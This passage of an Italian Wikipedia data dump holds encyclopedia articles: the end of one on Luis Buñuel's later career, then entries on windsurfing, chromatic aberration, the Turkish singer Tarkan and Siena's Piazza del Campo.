(1952).\nRitorno a temi pi\u00f9 impegnativi.\nTornato a temi pi\u00f9 impegnativi negli anni fra il 1952 e il 1960 con film come \"Lui\" (1953), \"L'illusione viaggia in tranvai\" (1953), \"La selva dei dannati\" (1956), \"Violenza per una giovane\" (1960), riconferm\u00f2 il successo a Cannes con \"Nazar\u00edn\" (1958) e nel 1961 ricevette la Palma d'oro per \"Viridiana\", ma il film, considerato troppo spregiudicato, venne accusato di blasfemia. Proprio a causa della furiosa censura seguita a quest'opera, che port\u00f2, tra l'altro, alla destituzione del direttore generale del cinema di Spagna, ad opera del Consiglio dei ministri, dopo un breve periodo trascorso nella Spagna del dittatore Francisco Franco fu costretto di nuovo a trasferirsi all'estero.\nGir\u00f2 in Messico \"L'angelo sterminatore\" (1962); in Francia \"Il diario di una cameriera\" (1964); nuovamente in Messico il mediometraggio \"\" (1965), vincitore del Leone d'argento alla Mostra del Cinema di Venezia, di nuovo in Francia, \"Bella di giorno\" (1967), suo maggior successo di pubblico per il quale vinse il Leone d'oro a Venezia, e \"La via lattea\" (1968), uno sguardo surrealista sulle eresie della chiesa cattolica. Nel 1970 torn\u00f2 in Spagna dove diresse \"Tristana\".\nSegu\u00ec poi l'Oscar per il miglior film straniero (insieme alla candidatura per la sceneggiatura) per \"Il fascino discreto della borghesia\" (1972), uno dei suoi film pi\u00f9 famosi. Seguiranno \"Il fantasma della libert\u00e0\" (1974) e \"Quell'oscuro oggetto del desiderio\" (1977), sua ultima fatica. Pubblic\u00f2 \"Obra literaria\", una raccolta di scritti letterari e nel 1981 scrisse la sua autobiografia, \"Mon dernier soupir\" (\"Dei miei sospiri estremi\" nella traduzione di Dianella Selvatico Estense per la SE editrice in Italia) coadiuvato dall'amico e co-sceneggiatore dei suoi ultimi film Jean-Claude Carri\u00e8re. Verr\u00e0 pubblicata postuma.\nNella cultura di massa.\nBu\u00f1uel appare come personaggio in vari film. In \"Bu\u00f1uel e la tavola di re Salomone\" (2001) di Carlos Saura, il regista (interpretato da El Gran Wyoming e da Pere Arquillu\u00e9), magicamente ritornato ai tempi della sua giovinezza, vive, assieme ai suoi amici Federico Garc\u00eda Lorca e Salvador Dal\u00ed, un'avventura esoterica per le strade di Toledo. In \"Midnight in Paris\" (2011) di Woody Allen il protagonista Gil, nel corso di uno dei suoi viaggi nel tempo, incontra il giovane Bu\u00f1uel (Adrien de Van), a cui suggerisce la trama di quello che sar\u00e0 \"L'angelo sterminatore\". Nel film d'animazione \"Bu\u00f1uel - Nel labirinto delle tartarughe\" (2018) di Salvador Sim\u00f3, tratto da una graphic novel di Ferm\u00edn Sol\u00eds, il regista appare impegnato nelle riprese del documentario \"Terra senza pane\". Bu\u00f1uel \u00e8 citato, inoltre, nella canzone \"China Town\" di Caparezza."}
{"id": "26569", "revid": "122750698", "url": "https://it.wikipedia.org/wiki?curid=26569", "title": "Windsurf", "text": "Il windsurf \u00e8 un'attivit\u00e0 sportiva nonch\u00e9 una specialit\u00e0 della vela che consiste nel muoversi sull'acqua su una tavola grazie principalmente all'azione propulsiva determinata del vento su una vela, anche se in alcuni particolari casi l'azione propulsiva principale, contrariamente a quanto comunemente creduto, \u00e8 generata dalle onde (cosiddetta \"wave riding\") in maniera del tutto simile al \"surf\" da onda, con la vela di ridotte dimensioni destinata a fungere solo da elemento complementare alla spinta complessiva. \nLa vela \u00e8 montata su un albero fissato alla tavola mediante un giunto universale (talvolta realizzato con un giunto cardanico, pi\u00f9 spesso tramite materiale flessibile) detto \"piede d'albero\" ed \u00e8 sostenuta e controllata dal velista (o \"windsurfer\", semi-italianizzato in \"windsurfista\" o pi\u00f9 semplicemente \"surfista\") con il solo ausilio di un particolare boma.\nCon il termine \"windsurf\" (talvolta tradotto in italiano come tavola a vela), ci si riferisce anche all'attrezzatura usata per praticare quest'attivit\u00e0.\nParti di un \"windsurf\".\n\u00c8 costituito dai seguenti componenti essenziali, in genere armati e disarmati prima e dopo l'uscita in acqua:\nLa vela, l'albero e il boma, presi nel loro insieme, costituiscono quello che, talvolta anche in italiano, si definisce \"rig\". L'immagine a lato illustra pi\u00f9 dettagliatamente le varie parti di un \"windsurf\".\nManovre.\nAnalogamente a quanto avviene nelle imbarcazioni a vela, nel \"windsurf\" le manovre principali sono la virata e la strambata che, nella forma base, permettono il cambiamento delle mure (in altri termini il cambiamento di direzione) tramite il passaggio della vela rispettivamente sulla o sulla prua della tavola.\nNel \"windsurf\" la partenza pu\u00f2 avvenire secondo due modalit\u00e0:\nPer condurre una tavola a vela, non essendoci il timone, si deve agire sull'inclinazione dell'albero. Per orzare ovvero portare la prua al vento in modo da impostare una andatura, che \"stringe il vento\", detta anche \"di bolina\", si deve inclinare l'albero verso poppa, spostando il centro velico verso questa direzione. Per poggiare, azione inversa all'orzare in modo da impostare un'andatura che si allontana dal vento detta anche \"portante\", si inclina l'albero verso la prua. Queste indicazioni sono generalmente valide per la navigazione in dislocamento.\nAll'aumentare della velocit\u00e0, in base al tipo di tavola utilizzata, si raggiungono le condizioni di planata durante le quali i cambiamenti di direzione si ottengono sia spostando l'albero leggermente verso prua o verso poppa, sia esercitando una leggera pressione con i piedi sulla tavola. I piedi del surfista, in piena planata, risultano bloccati in apposite \"straps\" (o cinghie fermapiedi) collocate sulla poppa della tavola, mentre la vela viene mantenuta in una posizione arretrata rispetto alla tavola, gestendo la disposizione del peso del proprio corpo e del \"rig\" in modo che si verifichi l'equilibrio del \"centro velico\" (\"center of effort\" o \"CE\") con il centro di deriva (\"center of lateral resistance\" o \"CLR\") della tavola. La planata permette al \"windsurf\" di raggiungere velocit\u00e0 molto rilevanti, grazie ad un'alta efficienza della superficie planante dello scafo, che pu\u00f2 considerarsi pressoch\u00e9 piatta rispetto agli scafi delle imbarcazioni a vela o a motore (che hanno una forma pi\u00f9 \"stellata\", fino alle \"V\" profonde dei motoscafi).\nLa massima velocit\u00e0 mai raggiunta da un \"windsurf\" (intesa come velocit\u00e0 media sulla distanza di 500\u00a0m) \u00e8 di 52.05 nodi raggiunti sui 500 metri da Antoine Albeau a Luderitz (Namibia) nel novembre 2012.\nTipi di tavola e specialit\u00e0.\nUna prima classificazione delle tavole da \"windsurf\" pu\u00f2 essere effettuata in base alle seguenti caratteristiche:\nCi sono delle particolari discipline che si possono praticare con il \"windsurf\", ognuna delle quali individua diverse tipologie di tavole:\nStoria.\nIl primo prototipo documentato di tavola a vela risale al 1935 ed \u00e8 accreditato a Tom Blake. Successivamente, nel 1965, fu Newman Darby a sviluppare l'idea aggiungendo un boma in modo da poter controllare la vela in piedi. Purtroppo l'idea di Darby prevedeva un albero fisso che rendeva la navigazione particolarmente difficile e non ebbe successo.\nIl \"windsurf\" quindi nacque ufficialmente nel 1967 da un'idea di un ingegnere aerospaziale californiano, James (\"Jim\") R. Drake il quale, sull'autostrada di San Bernardino, nei dintorni di Los Angeles, ripensando ad una discussione avuta precedentemente con l'amico Hoyle Schweitzer, pens\u00f2 di poter continuare a fare \"surf\" anche senza le onde, utilizzando una vela collegata alla tavola. Drake pens\u00f2 di unire un boma a \"wishbone\" con un giunto cardanico per governare in piedi una tavola a vela. I materiali utilizzati furono dapprima il legno, la stoffa nautica (Dacron, una fibra poliestere usata nelle barche a vela) e alcune corde per imbarcazioni. L'idea fu perfezionata con l'aiuto di un collega di Jim, Alan Parducci, che contribu\u00ec alla progettazione. Nel 1968 Schweitzer e Drake brevettarono il \"windsurf\" e il brevetto fu trascritto ufficialmente nel registro delle invenzioni nel 1970. Insieme cominciarono a produrre i primi \"Windsurfer\" (era questo il marchio che si utilizz\u00f2 per la neonata azienda).\nNegli Stati Uniti il \"windsurf\" per\u00f2 stentava a decollare ma, fortunatamente, nel 1971 un imprenditore tessile olandese, Martin Spanjer, durante un viaggio rimase colpito da un articolo pubblicato sulla rivista di bordo dell'aereo che lo stava portando in California. Appena giunto a destinazione contatt\u00f2 Schweitzer per ottenere la licenza di costruzione del \"windsurf\" per l'Europa; nacque cos\u00ec il \"Windsurfer Ten Cate\" che apparve per la prima volta in Europa nel 1972. L'anno successivo, visti gli scarsi risultati delle vendite dei primi prototipi, Drake cedette la sua quota societaria a Diana ed Hoyle Schweitzer, che ne acquisirono tutti i diritti. Quattro anni dopo, in Svizzera, un altro imprenditore, Peter Brockhaus con la collaborazione del \"designer\" Ernstfried Prade, cre\u00f2 un nuovo marchio: era nata la \"Mistral\".\nNel 1978 entr\u00f2 in produzione il \"Mistral Competition\": si trattava di un nuovo concetto di tavola, pi\u00f9 leggera e dotata di deriva basculante, ma soprattutto di un boma in alluminio, decisamente pi\u00f9 maneggevole dell'originale in legno di cui era dotato il \"Windsurfer\". Le prime uscite ufficiali del Mistral avvennero sul Lago di Garda presso il Circolo Surf Torbole che acquis\u00ec presto fama internazionale grazie ai venti costanti che soffiavano sulle sue acque e divenne una sorta di laboratorio europeo per lo sviluppo di nuovi prototipi e una fucina di talenti. Da qui l'eco del \"windsurf\" raggiunse tutto il mondo.\nIn quegli anni nacquero altri marchi come HiFly e Windglider che fecero anche la fortuna dei coniugi Schweitzer, detentori del brevetto, ai quali andavano i proventi delle \"royalties\" pagate da tutte le aziende produttrici. Nel 1981 Brockhaus lasci\u00f2 la Mistral per creare il futuro di questo sport con un nuovo marchio: F2 (\"Fun &amp; Function\"), che presto sarebbe diventato famoso in tutto il mondo grazie anche ad un team di atleti tra cui figurava un nuovo astro nascente, il danese trapiantato alle isole Canarie Bj\u00f6rn Dunkerbeck.\nNei primi anni ottanta cominciarono ad arrivare immagini fotografiche spettacolari da oltreoceano, in particolare dalle Hawaii, patria di Robby Naish, mito indiscusso del \"windsurf\". Il giovane Naish, nel 1976 campione mondiale \"Windsurfer\" ad appena 13 anni, decise di affrontare le onde hawaiiane con la tavola a vela. Presto si rese conto che il \"Windsurfer\" con i suoi 22\u00a0kg di peso e un notevole dislocamento non era adatto a quelle condizioni. Cos\u00ec, grazie all'aiuto del padre, cre\u00f2 il primo \"sinker\" (un primo modo per definire le tavole corte e con poco volume che prevedono la \"partenza dall'acqua\"), adattando un \"Mistral Competition\" che veniva accorciato tagliandolo all'altezza della scassa di deriva. Con questo prototipo Naish affrontava le onde, saltandole e surfandole, dando vita ad una nuova disciplina: il \"funboard\".\nProprio Brockhaus, con la creazione della F2, si dedic\u00f2 molto alla promozione del \"funboard\", realizzando in serie tavole pi\u00f9 leggere e pi\u00f9 corte, adatte ad affrontare vento forte e situazioni meteomarine difficili. Fu grazie alla determinazione di Brockhaus che venne creato il \"circuito mondiale funboard\" (che poi diventer\u00e0 l'International Funboard Class Association) che prevedeva spettacolari tappe agonistiche nelle localit\u00e0 pi\u00f9 ventose del mondo. I primi salti sulle onde accentuarono le caratteristiche estreme delle tavole \"funboard\".\nTocc\u00f2 al giovane faentino Cesare Cantagalli determinare il futuro estremo di questa disciplina. Cantagalli cre\u00f2 una manovra acrobatica che sembrava andare contro le leggi della fisica: il \"cheese roll\" (letteralmente \"formaggio arrotolato\", ma simpaticamente associato al nome di Cesare trasformato in \"cheese\" dagli amici hawaiiani). La manovra consisteva in un salto con avvitamento completo di tavola, vela e surfista. Da l\u00ec vennero sviluppate le varianti oggi note a tutti gli appassionati di \"Wave\" e \"Freestyle\" come il \"looping\" o il \"forward loop\".\nPurtroppo il \"funboard\", come hanno poi dichiarato successivamente i \"manager\" di tutte le aziende che negli anni d'oro del \"windsurf\" vendettero migliaia di tavole, rese nello stesso tempo questo sport altamente spettacolare, ma lo trasform\u00f2 da sport di massa a sport di nicchia, decretando l'inesorabile contrazione del mercato.\nTra le leggende viventi del \"windsurf\" vi sono l'hawaiiano Robby Naish e il danese Bj\u00f6rn Dunkerbeck, che possono essere considerati i maggiori esponenti delle varie discipline del \"windsurf\" essendo gli atleti che in assoluto hanno vinto pi\u00f9 titoli mondiali. Jim Drake ha collaborato attivamente, fino alla sua morte, con la Star Board Windsurfing, una delle maggiori aziende produttrici di tavole a vela, amministrata dall'atleta norvegese Svein Rasmussen.\nIl \"windsurf\" si \u00e8 evoluto negli ultimi anni in modo particolare nella disciplina del \"freestyle\". A partire dai primi del 2000 infatti sono stati portati sulla scena internazionale da \"windsurfer\" come Josh Stone e Ricardo Campello numerosi \"tricks\", fino a quel momento impensabili. La nuova svolta ha dato l'\"input\" alla nascita di un movimento di \"windsurfer\" professionisti provenienti dal Sudamerica, in particolare da El Yaque e Bonaire. Tra questi sono molto conosciuti nella scena Gollito Estredo, Kiri Thode, Steven Van Broeckhoven, i fratelli Taty Frans e Tonky Frans, Marcilio \"Brawzinho\" Browne. Per la categoria femminile, Sarah Quita Offringa, Yoli de Brendt, Laure Treboux. Un grande contributo all'evoluzione della disciplina wave \u00e8 stato dato dal brasiliano Kauli Seadi, che ha sviluppato la configurazione quad (tavola con 4 pinne a poppa) che ha dato vita ad uno stile di surfata pi\u00f9 moderno, con turn molto stretti sempre sulla parete dell'onda. Sempre Kauli ha anche sviluppato un nuovo concetto di vele compact, pi\u00f9 corte di albero e larghe di bugna, con 4 stecche al posto delle classiche 5. A lui si deve l'invenzione del push loop into forward, una combinazione di due manovre che \u00e8 diventata un must nei contest di wave, per l'alto punteggio che viene dato quando eseguita perfettamente.\n\"Windsurf\" e barca a vela.\nSotto un certo punto di vista il \"windsurf\" pu\u00f2 essere considerato la massima sintesi dell'imbarcazione a vela classicamente intesa anche se, rispetto a questa, sono assenti il timone ed il collegamento rigido dell'albero sullo scafo (non vi sono n\u00e9 sartie n\u00e9 stralli). Inoltre, peculiarit\u00e0 del \"windsurf\" rispetto alla maggior parte delle imbarcazioni a vela, \u00e8 quella di navigare con l'albero sbandato sopravvento, con il risultato che la spinta velica tende a sollevare dall'acqua tutto l'insieme imbarcazione-equipaggio, contrariamente a quello che avviene sulle altre imbarcazioni.\nTuttavia, con la tavola a vela tradizionale (tavole lunghe e dislocanti con deriva mobile), vi sono alcune limitazioni: l'angolo di bolina che si pu\u00f2 stringere \u00e8 pi\u00f9 largo di quello di una barca inoltre le andature portanti sono instabili e possono essere usate solo per brevi tratti.\nPer le tavole a vela plananti invece (tavole corte e senza deriva), all'aumentare dell'intensit\u00e0 del vento l'angolo di bolina che si pu\u00f2 ottenere pu\u00f2 avvicinarsi molto a quello di una barca convenzionale. Le tavole corte inoltre, raggiungono velocit\u00e0 molto pi\u00f9 elevate in virt\u00f9 di una minore superficie bagnata che equivale ad un minor attrito di uno scafo dislocante ed entrano in planata con maggiore facilit\u00e0 grazie al minor peso della tavola nonch\u00e9 di una conformazione e distribuzione dei pesi ottimizzata per tale scopo; per contro, a differenza degli scafi dotati di deriva, le tavole corte e plananti sono scarsamente versatili nella navigazione in dislocamento, soffrendo maggiormente l'effetto dello scarroccio rispetto alle imbarcazioni.\nCuriosamente, alcune soluzioni tecniche in origine affinate per il \"windsurf\" sono state adottate poi successivamente nel mondo delle barche a vela; l'utilizzo di materiali speciali (carbonio) per gli alberi e le appendici immerse, usati con l'obiettivo di migliorarne la risposta dinamica (\"reflex\" e \"rigidit\u00e0\"), o le tecniche per garantire elevata efficienza alle superfici aerodinamiche come, ad esempio, le vele totalmente steccate e a profilo ellittico o l'utilizzo dei cosiddetti \"camber inducer\" (induttori di profilo), che garantiscono alla superficie velica un profilo alare e pi\u00f9 stabile, sono tutte invenzioni che vengono prima applicate al windsurf e poi alla barca a vela, compresi i costosissimi scafi da Coppa America.\nCitando liberamente Czes\u0142aw Marchaj nel suo autorevole \"Sail performance: techniques to maximize sail power\": \u00ab [...] rispetto alle imbarcazioni a vela, il windsurf ha subito in questi ultimi anni una evoluzione tecnica davvero impressionante... \u00e8 stupefacente come un semplice scafo con una attrezzatura smontabile possa contenere pi\u00f9 innovazione (ed essere pi\u00f9 efficiente in termini aero-idrodinamici) di una imbarcazione da Coppa America...\u00bb\nQuesto essenzialmente perch\u00e9 la vela tradizionalmente intesa, \u00e8 imbrigliata in una serie di regole di stazza e di classe molto rigide che ne hanno fortemente limitato negli anni lo sviluppo e l'efficienza energetica mentre il windsurf ha rappresentato, tra le discipline nautico-sportive, un vero banco di prova dove poter sperimentare liberamente le idee pi\u00f9 stravaganti ma anche talvolta le pi\u00f9 innovative."}
{"id": "26575", "revid": "767487", "url": "https://it.wikipedia.org/wiki?curid=26575", "title": "Aberrazione cromatica", "text": "In ottica l'aberrazione cromatica assiale (cio\u00e8 presente \"anche\" lungo l'asse ottico) \u00e8 un difetto nella formazione dell'immagine dovuta al diverso valore di rifrazione delle diverse lunghezze d'onda che compongono la luce che passa attraverso il mezzo ottico.\nQuesto si traduce in immagini che presentano ai bordi dei soggetti aloni colorati.\n\u00c8 un difetto del quale, in diversa misura, sono affetti tutti i sistemi ottici a lenti. \nIn pratica succede che (per radiazioni policromatiche) le componenti dello spettro con lunghezza d'onda pi\u00f9 corta (lato dello spettro verso il violetto) vengono rifratte maggiormente rispetto a quelle con lunghezza d'onda pi\u00f9 lunga (verso il rosso), causando una dispersione dell'immagine sul piano focale. Nel piano pi\u00f9 vicino alla lente, dove vanno a fuoco le radiazioni blu-violette, di una sorgente puntiforme di luce bianca si osserva un'immagine di colore blu-violetto al centro, contornata da un'aureola rossa, mentre dove vanno a fuoco le radiazioni rosse (piano pi\u00f9 lontano dal centro della lente) il centro \u00e8 rosso e l'aureola violetta. Per l'occhio il miglior fuoco si trova in un piano perpendicolare all'asse ottico della lente, tra le immagini blu e rossa, cio\u00e8 dove vanno a fuoco le immagini gialle. Questo piano corrisponde sensibilmente alla posizione del cerchio di minima aberrazione. La distanza tra i due piani (fuoco del violetto e del rosso) giacente sull'asse ottico prende il nome di \"aberrazione longitudinale\". Per un raggio di luce monocromatico non ha senso parlare di aberrazione cromatica.\nL'aberrazione cromatica \u00e8 un grosso problema per ogni apparecchio che voglia riprodurre un'immagine fedele, per esempio microscopi e telescopi. Tipicamente, l'aberrazione cromatica si manifesta come un alone attorno all'oggetto osservato, rosso da una parte e blu dall'altra; Questo perch\u00e9 rosso e blu sono ai due estremi dello spettro della luce visibile, e sono quindi i colori per i quali la differenza di rifrazione \u00e8 maggiore.\nIl problema viene in genere risolto (acromatismo) utilizzando lenti multiple di materiali con diversa dispersione, in modo che le differenze tra gli angoli di rifrazione per la stessa lunghezza d'onda si annullino tra loro: si parla quindi di \"doppietto acromatico\", \"tripletto acromatico\" e cos\u00ec via. L'aberrazione cromatica pu\u00f2 essere in questo modo grandemente ridotta, ma non del tutto eliminata. \u00c8 possibile anche utilizzare lenti costruite in materiali a bassa dispersione come la fluorite. Questa \u00e8 un'aberrazione assiale i cui effetti possono anche essere corretti diaframmando per aumentare la profondit\u00e0 di fuoco. I dispositivi che usano specchi, invece, non soffrono di aberrazioni cromatiche."}
{"id": "26577", "revid": "1924342", "url": "https://it.wikipedia.org/wiki?curid=26577", "title": "Tarkan", "text": "Il suo nome \u00e8 quello di un noto personaggio dei fumetti turchi anni sessanta, simile a Conan il Barbaro, da cui i genitori hanno appunto tratto ispirazione.\nTarkan \u00e8 conosciuto in Europa e in America soprattutto grazie alla canzone \"\u015e\u0131mar\u0131k\" (Viziata), rilanciata successivamente come \"Kiss Kiss\" da Holly Valance dopo averne acquisito i diritti da Sezen Aksu, anche a seguito di una disputa avuta da questa con Tarkan stesso. Un'altra delle sue hit \u00e8 stata \"S\u0131k\u0131d\u0131m\" (\"Shake\"), singolo uscito subito dopo quello di \"Simarik\".\nTarkan ha trascorso la sua infanzia in Germania fino ai 14 anni, quando, improvvisamente, suo padre decise di far ritorno nella nat\u00eca Turchia.\nBiografia.\nDal 1990 al 1992 Tarkan ha studiato presso la \u00dcsk\u00fcdar Musical Association, dove ha potuto contare sull'appoggio e l'incoraggiamento a farsi strada di alcuni tra i pi\u00f9 grandi musicisti Turchi.\nNonostante ci\u00f2, Tarkan decise di ritornare in Germania, ma fu proprio durante i preparativi per la sua partenza che fece la conoscenza di Mehmet S\u00f6g\u00fcto\u011flu, presidente della casa discografica \"\u0130stanbul Plak\", ancora oggi la sua casa discografica. Il suo primo lavoro, \"Yine Sensiz\" (\"Di nuovo senza di te\") non \u00e8 stato un grande successo. Lui stesso dovette promuovere il suo disco.\nNel 1994 il successo arriva con il suo secondo lavoro \"A-Acayipsin\" (\"Sei fantastica\") che totalizza 2,5 milioni di copie vendute nella sola Turchia. Improvvisamente Tarkan diventa una \"star\" e si trasferisce, nel 1995, a New York, dove pu\u00f2 terminare i suoi studi.\n\u00c8 in questo periodo che Tarkan conosce Ahmet Erteg\u00fcn (il fondatore e padre-padrone della Atlantic Records, anch'egli di origini Turche) ed inizia a considerare l'idea di lavorare su un album interamente in Inglese; il progetto, pi\u00f9 volte rimaneggiato e ritardato, sembra finalmente andato in porto e la sua pubblicazione sembra definitivamente prevista per la primavera del 2005.\nNel luglio 1997 il singolo discografico \"\u015e\u0131mar\u0131k\" (\"viziata\") viene incluso nell'album \"\u00d6l\u00fcr\u00fcm Sana\" (\"Morirei per te\") che ha richiesto due anni di lavoro. L'album vanta la cooperazione di Sezen Aksu, considerata una delle pi\u00f9 grandi artiste turche, e di Ozan \u00c7olako\u011flu.\nA livello internazionale \"\u00d6l\u00fcr\u00fcm Sana\" vende 3,5 milioni di copie. Tarkan intraprende quindi un lungo tour attraverso l'Europa e l'America Latina per promuovere la sua musica esibendosi in 18 concerti in 17 citt\u00e0 differenti.\nAll'apice della fama, Tarkan viene richiamato in patria per il servizio militare; ignorando l'ordine egli continua il suo tour in Europa e per questa ragione viene privato della cittadinanza e giudicato un disertore. In seguito, un'ammenda e un solo mese di servizio militare gli permetteranno di riavere la cittadinanza e di essere di nuovo acclamato in patria.\nCantante poco conosciuto in Italia, Tarkan - a detta dei critici - sa fondere con accattivante bravura suoni e strumenti della tradizione turca con ritmi del tutto occidentali. Fenomeno ammirato in Turchia dalla nuova generazione, ha rivoluzionato i rigidi schemi della tradizione per via delle sue performance sul palco, dense di movimenti e di ammiccamenti. Accusato da pi\u00f9 parti di atteggiamenti contrari alla morale (omosessualit\u00e0, bisessualit\u00e0), egli utilizza tali accuse per accrescere la propria popolarit\u00e0."}
{"id": "26582", "revid": "69794", "url": "https://it.wikipedia.org/wiki?curid=26582", "title": "Piazza del Campo", "text": "Piazza del Campo (o pi\u00f9 semplicemente il Campo) \u00e8 la piazza principale della citt\u00e0 di Siena. Unica per la sua particolare e originalissima forma a conchiglia, \u00e8 rinomata in tutto il mondo per la sua bellezza e integrit\u00e0 architettonica, nonch\u00e9 per essere il luogo in cui due volte l'anno si svolge il Palio di Siena. Per un'antica convenzione, la piazza e il Palazzo Pubblico non appartengono ad alcuna contrada.\nStoria.\nLo spazio che sarebbe diventato la piazza attuale era, alle origini di Siena, un terreno bonificato per consentire il deflusso delle acque piovane, come testata semicircolare della valle di Montone, tra il colle Santa Maria e il crinale che va verso Porta Romana. Il nucleo della citt\u00e0 in formazione si trovava pi\u00f9 in alto, nella zona di Castelvecchio e il futuro \"Campo\" era uno spazio per i mercati, appena laterale rispetto alle principali strade di comunicazione che passavano per la citt\u00e0 e situato esattamente a un crocevia. Qui si incontrano ancora oggi le direttrici per Roma a sud-est, per il mare a sud-ovest e verso Firenze a nord.\nLa storia della piazza si intreccia fortemente con quella della costruzione del palazzo Comunale, o palazzo Pubblico, che vi si affaccia.\nPrime notizie.\nIl primo documento che parla di sistemazione dello spazio del \"Campo\" \u00e8 del 1169, in cui si parla di un \"Campus Sancti Pauli\", e si riferisce a tutta la vallata comprendente sia l'attuale piazza che quella del Mercato, al giorno d'oggi retrostante al palazzo Comunale. In questa data, la comunit\u00e0 senese acquista il terreno che andava dalle attuali Logge della Mercanzia all'attuale piazza del Mercato.\nLa prima notizia di una suddivisione delle due piazze si ha nel 1193 e fa dedurre che nel frattempo fosse stato costruito almeno un muro divisorio, forse per arginare le acque piovane. A quell'epoca si parla di un \"Campus Fori\", il cui nome allude alle funzioni di mercato (di bestiame, pollame e del grano). Nel 1194, a ridosso del muro, vennero erette la Dogana delle gabelle e la Zecca, detta \"Bolgano\".\nGoverno dei Ventiquattro.\nFino al 1270, con il Governo dei Ventiquattro (1236-1270), lo spazio della futura piazza viene usato per fiere e mercati. Si trovava infatti in una zona particolarmente favorevole per l'incontro dei cittadini, come punto di sutura tra la \"Sena vetus\", ovvero il nucleo romano (il terzo di Citt\u00e0), e i due sobborghi principali di Camoll\u00eca e di san Martino sorti lungo la via Francigena.\nSe da una parte il Campo non era un vero \"campo\", dall'altra non venne progettato \"a tavolino\". Nonostante non avesse ancora assunto la forma che vediamo oggi, sembra esserci gi\u00e0 un'intenzione di farne uno spazio sia per le feste pubbliche, in analogia a quello che il Duomo \u00e8 per le feste religiose, sia per i mercati e i commerci in genere.\nNegli statuti del 1262 si trovano alcuni primi provvedimenti per migliorare l'assetto della piazza, prescrivendo, tra l'altro, l'obbligo di aprirvi solo bifore o trifore (le finestre \"a colonnelli\", cio\u00e8 con le colonnine), la proibizione di costruire terrazzi, il perfezionamento dei dodici accessi.\nGoverno dei Nove.\nCaduto questo governo degli aristocratici, con il Governo dei Nove (1287-1355) si cominci\u00f2 a pensare a una sede \"neutra\" per il governo della citt\u00e0. Sul nucleo della Dogana e del Bolgano si inizi\u00f2 a costruire un palazzo che fosse sintesi della razionalizzazione promossa dal governo e della sua autocelebrazione. Il Palazzo Comunale, destinato ad accogliere la residenza del podest\u00e0 e gli uffici delle magistrature, fino ad allora sparse in sedi religiose o private, diede anche impulso a una consona sistemazione della piazza antistante. Sul finire del Duecento si iniziano ad acquistare i fabbricati privati sul Campo e, all'inizio del Trecento, inizia la ristrutturazione e l'ampliamento degli edifici esistenti, in particolare il palazzo, la cappella e la Dogana. La costruzione della Torre del Mangia risale al 1325-1344 e nel 1333 si avvia la pavimentazione a mattoni della conca interna (completata l'anno successivo), mentre il selciato nella parte esterna risale al 1347-1348.\nNel 1334 Jacopo di Vanni Ugolini avvi\u00f2 i lavori di scavo per la vasca della fontana pubblica, completata nel 1346.\nFormazione del perimetro.\nL'architetto Peruzzi aveva progettato di circondare la piazza con la costruzione di un porticato sovrapposto alle facciate medioevali. Perduto il disegno originale, il proposito di Peruzzi fu ripreso da Fabio Chigi, su disegno di Tommaso Pomarelli.\nDurante gli anni in cui andarono delineandosi la fisionomia e la struttura di piazza del Campo, il governo di Siena eman\u00f2 via via leggi al fine di uniformare facciate, spazi e fronti architettonici e di allineare il profilo e il perimetro dello spazio. Valga per tutti la demolizione della chiesa dei Santi Pietro e Paolo (posta tra gli attuali vicoli di San Pietro e di San Paolo), perch\u00e9 sporgente rispetto al perimetro che i palazzi circostanti stavano lentamente delimitando.\nAi primi del Quattrocento Jacopo della Quercia decor\u00f2 la fonte Gaia, che nel XIX secolo venne spostata nel sito attuale. Interventi successivi riguardarono l'accorpamento di alcune facciate, la regolarizzazione, ampliamento o trasformazione di altre.\nDescrizione della piazza.\nLa piazza si trova nel punto nodale dove si diramano le tre principali vie cittadine, spine dorsali dei Terzi, distinguendosi come un unitario di sublime armonia, frutto pi\u00f9 alto della passione senese per la bellezza, manifestata precocemente dal popolo ancora prima del celebre statuto del 1262 dedicato all'urbanistica e all'estetica cittadina. Ci\u00f2 ne fa una delle pi\u00f9 alte creazioni dell'urbanistica medievale.\nLa forma della piazza \u00e8 emiciclica, rassomigliante una valva di conchiglia inclinata verso mezzogiorno, con nove spicchi definiti da fasce bianche sulla pavimentazione in cotto. Racchiusa dalla cortina quasi continua di edifici, vi si diramano undici varchi (un tempo dodici), mascherati sapientemente dall'uso delle volte e dalla disposizione su pi\u00f9 livelli dell'abitato. La geometria appare coniugata sapientemente con la forma del territorio, arrivando a tradurre le peculiarit\u00e0 del luogo in un ambiente progettato. Il fulcro dell'intera piazza \u00e8 il palazzo Pubblico, che chiude scenograficamente lo spazio a valle e verso il quale convergono tutte le linee visive, dei dislivelli, delle cortine edilizie e della pavimentazione, esaltandone il valore simbolico.\nLa circonferenza della piazza \u00e8 333 metri ed \u00e8 articolata in due aree: \"di basso\", l'invaso centrale e a sud, pavimentato con mattoni disposti \"a coltello\" e divisa in nove spicchi, e la cortina attorno, lastricata. Il numero nove evocherebbe il Governo dei Nove.\nIl Palio.\nLa piazza \u00e8 famosa anche perch\u00e9 accoglie due volte all'anno, esattamente il 2 luglio e il 16 agosto, il Palio delle Contrade. Si tratta di una corsa di cavalli unica al mondo che vede confrontarsi le diciassette storiche contrade che compongono la citt\u00e0 toscana.\nLa corsa \u00e8 composta da tre giri intorno alla pista che circonda la piazza, pavimentata con lastre di pietra serena, che viene cosparsa di uno strato di polvere di tufo di opportuno spessore, tale da consentire ai cavalli di correre, non senza plateali scivolate in corrispondenza delle curve. Fra queste, una delle pi\u00f9 critiche \u00e8 la \"curva di San Martino\". La corsa, che si svolge in modo sfrenato e spesso senza riserve di colpi bassi, talvolta cruenta, porta alla vittoria una sola contrada.\nIngredienti fondamentali per un \"Palio perfetto\" sono la coppia formata dal cavallo e dal relativo fantino che ciascuna contrada riesce a mettere insieme, uniti sempre ad una indispensabile dose di fortuna e ad una folla sempre entusiasta e partecipe.\nNella canzone.\nNel 1985 il cantautore Mario Castelnuovo ha scritto la canzone \"Piazza del Campo\" - contenuta nell'album \"\u00c8 piazza del Campo\" - che descrive la piazza durante la corsa del Palio.\n\"Piazza del Campo\" \u00e8 anche il titolo di un album dal vivo del gruppo musicale di rock progressivo Premiata Forneria Marconi del 2004. L'album \u00e8 stato registrato il 29 agosto 2003 a Siena nella famosa piazza."}
